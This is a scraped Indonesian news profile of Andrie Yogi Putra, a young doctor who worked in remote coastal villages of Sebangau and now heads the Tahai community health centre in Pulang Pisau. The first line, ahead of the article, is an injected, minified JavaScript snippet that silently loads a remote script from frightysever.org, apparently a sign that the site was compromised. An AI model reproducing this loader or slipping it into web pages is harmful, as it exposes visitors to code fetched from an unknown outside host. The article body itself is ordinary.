(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PULANG PISAU, Berbadan agak gempal dengan rambut ikal berkulit putih dan selalu tersenyum lebar saat disapa. Begitu, kesan pertama jika bertemu dengan Andrie Yogi Putra, dokter muda yang kini bertugas di Puskesmas Desa Tahai Jaya, Kecamatan Maliku, Kabupate Pulang Pisau ini. Ya, Dokter Andrie Yogie Putra, dokter muda yang sejak Juli 2016 lalu dipercaya Dinas Kesehatan (Dinkes) Pulpis memimpin Puskesmas Tahai, Pulang Pisau.
Kepada Kanalkalimantan, dokter muda jebolan Fakultas Kedokteran Ukrida Jakarta tahun 2014 ini bercerita, sejak diterima tes CPNS di Pulang Pisau pada tahun 2013 lau, tepat di awal tahun 2014 ia langsung bertugas di wilayah Kecamatan Sebangau sebagai dokter umum yang melayani kesehatan masyarakat di 6 desa.
“Waktu penempatan di Sebangau itu cukup melelahkan. Sebab belum terbiasa tinggal di wilayah yang jauh dari kota. Apalagi di Sebangau ada beberapa desa yang teritorialnya cukup terpencil. Seperti Desa Hambawang dan Sungai Bakau, untuk menuju ke sana hanya ada akses air dengan naik speed boat. Itupun harus melihat keadaan gelombang dalam kondisi rendah.
“Kadang pas sudah di lokasi kita terpaksa menginap karena gelombang tinggi dan beberapa hari menunggu cuaca normal kembali,†tutur dokter kelahiran Palangkaraya, 17 Juli 1989 ini.
Adaptasi semakin terasa cukup menguji ketika di sana, ia mendapati minimnya fasilitas, seperti listrik dan sinyal seluler. Kebanyakan warga yang berprofesi sebagai nelayan dan tinggal di pesisir itu, hanya mengandalkan tenaga solar cel untuk penerangan. Karena sudah disumpah untuk tetap melayani, sebagai tenaga medis dirinya berusaha beradaptasi secepat mungkin. Makin lama akhirnya dirinya mulai terbiasa dengan kondisi tersebut, bahkan dirinya mengaku jarang pulang ke kota karena mulai betah dengan kehidupan masyarakat di sana.
Setelah dua tahun berlalu, tepatnya Juli 2016 saya diangkat menjadi Kepala Puskesmas Tahai, Puskesmas yang baru saja diresmikan. Dibanding dengan penugasan di tempat sebelumnya, di sini memang sudah cukup ramai. Bahkan jarak ke Pulang Pisau bisa ditempuh hanya beberapa jam saja.
“Karena jumlah penduduk di sini sangat banyak, otomatis pelayanan juga harus maksimal. Dalam sehari dibantu 11 orang staf dan 5 Pustu, kami di sini bisa sampai melayani 35 pasien dalam sehari, jadi memang harus ekstra,†tutur pria yang masih berusia 28 tahun ini.
Tidak hanya melulu bertugas di Puskesmas, dokter Andrie mengaku di sela-sela pekerjaan memperbanyak mengakrabkan diri dengan masyarakat sekitar, baik kalangan muda maupun tua. Hal itu ia lakukan agar masyarakat bisa semakin dekat dengan profesi dokter dan tidak sungkan saat akan berobat ke Puskesmas. Menurutnya, selama ini ada masyararakat yang enggan untuk berobat karena masih merasa asing dan minder. Karena itu dirinya berusaha hadir sedekat mungkin dengan masyarakat.
“Jadi kadang-kadang saya dekati tokoh masyarakat, sekolah, dan aparat desa. Saya masuk sebagai teman dan perlahan-lahan menyampaikan bagaimana pola hidup sehat. Biasanya dengan komunikasi seperti itu justru lebih diterima ketimbang dengan komunikasi formal,†akunya.
“Saya berusaha mengedukasi masyarakat untuk hidup sehat, mencegah sakit. Bahkan saya bilang datang ke puskesmas jangan saat pas sakit saja, namun datang untuk berkonsultasi agar hidup sehat,†sambungnya.
Saat ini, di Puskesmas Tahai melayani puluhan ribu masyarakat dari 15 desa di Kecamatan Maliku. Ia mengakui dukungan pemerintah daerah melalui Dinas Kesehatan sangat besar. Mulai dari pemenuhan fasilitas Puskesmas hingga dikabulkannya beberapa usulan program kesehatan yang diajukan. Atas dukungan tersebut dirinya mengaku akan bertugas semaksimal mungkin dalam melayani kesehatan masyarakat diwilayahnya.
“Di sini sudah mulai berasa betah, selain masyarakatnya sangat ramah juga begitu peduli dengan kesehatan mereka. Dengan pengalaman penempatan tugas sebelum-sebelumnya, ke depan dipindah tugas dimanapun saya siap karena memang tugas seorang dokter seperti kami memang hadir untuk melayani kesehatan masyarakat,†pungkasnya. (sjy)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.